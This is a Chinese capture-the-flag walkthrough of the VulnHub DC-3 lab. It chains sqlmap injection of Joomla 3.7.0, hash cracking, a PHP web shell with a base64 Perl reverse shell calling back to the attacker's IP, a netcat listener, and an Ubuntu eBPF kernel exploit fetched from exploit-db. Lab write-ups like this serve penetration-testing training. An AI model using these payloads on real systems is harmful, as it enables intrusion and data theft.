描述
DC-3 是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。
与之前的 DC 版本一样,这个版本的设计考虑到了初学者,尽管这一次只有一个标志、一个入口点,根本没有线索。
必须具备 Linux 技能和熟悉 Linux 命令行,以及具备一些基本渗透测试工具的经验。
对于初学者,Google 可以提供很大的帮助,但您可以随时在 @DCAU7 上向我发送电子邮件以寻求帮助,让您重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。
对于那些有 CTF 和 Boot2Root 挑战经验的人来说,这可能根本不会花你很长时间(事实上,你可以轻松地用不到 20 分钟)。
如果是这样的话,并且您希望它更具挑战性,您可以随时重做挑战并探索其他获得根和获得旗帜的方法。
官网下载地址:https://www.vulnhub.com/entry/dc-32,312/
下载完成之后解压用vm虚拟机打开镜像,打开之后把桥接改成NAT就可以了。然后开机开搞
这一台靶机没用提示,直接找到root用户下的flag文件就好了
解题思路
信息收集IP地址探测
nmap 192.168.40.0/24
nmap -A -sV -T4 -p- 192.168.40.147
就开了一个80端口浏览器进去看看
这里看到一个登录框,先扫一下目录看看
dirsearch -u http://192.168.40.147/
扫出来一堆,都进去看看,特别是txt文件,在README.txt文件里面看到这个网站的框架是用的Joomla3.7版本的,也找到了它的登录框
joomla框架(Joomla系统是一个通用性的网站系统,几乎所有类型的网站都能在这个系统的基础下创建或发展,不论是个人使用的博客、一般企业使用的网站到大型的社交网站或新闻网站,透过丰富而多元的扩展,都可以找到对应的功能,快速、多样化而方便的扩展管理功能,减少搭建时间和成本,是最吸引用户选择这套系统的优点。)
因为这个框架用的人很多所以就有大佬开发出来了一个
joomscan的漏洞扫描器(joomscan是一个开源项目,其主要目的是实现漏洞检测的自动化,以增强Joomla CMS开发的安全性。该工具基于Perl开发,能够轻松无缝地对各种Joomla项目进行漏洞扫描,其轻量化和模块化的架构能够保证扫描过程中不会留下过多的痕迹。它不仅能够检测已知漏洞,而且还能够检测到很多错误配置漏洞和管理权限漏洞等等。还能够以HTML或文本格式导出扫描报告)
我们直接利用这个扫描器扫描一下这个网站joomla,也可以扫出来框架版本和登录目录
joomscan --url192.168.40.147
这个扫描器扫描出来的东西都是我们上面已经通过扫目录得出来的东西了,所以这里没什么用,虽然这里用不到但是要了解有这个东西,现在要求找这个框架3.7版本的历史漏洞
这里用到searchsploit(Exploit-db是Kali linux 官方团队维护的一个安全项目,存储了大量的漏洞利用程序,是公认的世界上最大的搜集漏洞的数据库。它的在线版本是https://www.exploit-db.com/ 。而searchsploit可以利用exploit-db提供的数据库进行离线搜索)
searchsploit joomla 3.7.0
这里看到有两个漏洞poc移出来看一下使用方法
searchsploit php/webapps/42033.txt -m 把42033.txt移动到当前文件夹下面
cat 42033.txt 查看里面的内容
sqlmap -u "http://192.168.40.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -batch -o
## -p 选择注入点 -o 优化参数 -batch 全部自动选择
sqlmap -u "http://192.168.40.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -batch -o -dbs
## -dbs 查看数据库
sqlmap -u "http://192.168.40.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -batch -o -D joomladb -tables
## -tables 查看数据库的表
sqlmap -u "http://192.168.40.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -o -D joomladb -T "#__users" -columns
##-columns 查看列名
sqlmap -u "http://192.168.40.147/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" -p list[fullordering] -o -D joomladb -T "#__users" -C "username,password" -dump
## -dump 查看内容
echo '$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu' > pass.txt
john pass.txt
functionwhich($pr) {
$path = execute("which $pr");
return($path ? $path : $pr);
}
functionexecute($cfe) {
$res = '';
if($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("n",$res);
}
elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return$res;
}
functioncf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "192.168.40.129";
$yourport = '5555';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip$yourport &");
nc -lvp 5555
python -c "import pty;pty.spawn('/bin/bash')"
cat /etc/issue
searchsploit Ubuntu 16.04
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
unzip 39772.zip
python3 -m http.server 2222
wget 192.168.40.129:2222/39772/exploit.tar
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit/ 进入目录
./compile.sh 执行compile.sh文件
./doubleput 执行doubleput文件
id 查看当前权限
ls /root 查看root文件夹的内容
cat /root/the-flag.txt 查看flag的内容
原文始发于微信公众号(信安一把索):渗透测试 - DC-3 - 练习篇(sqlmap实战)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论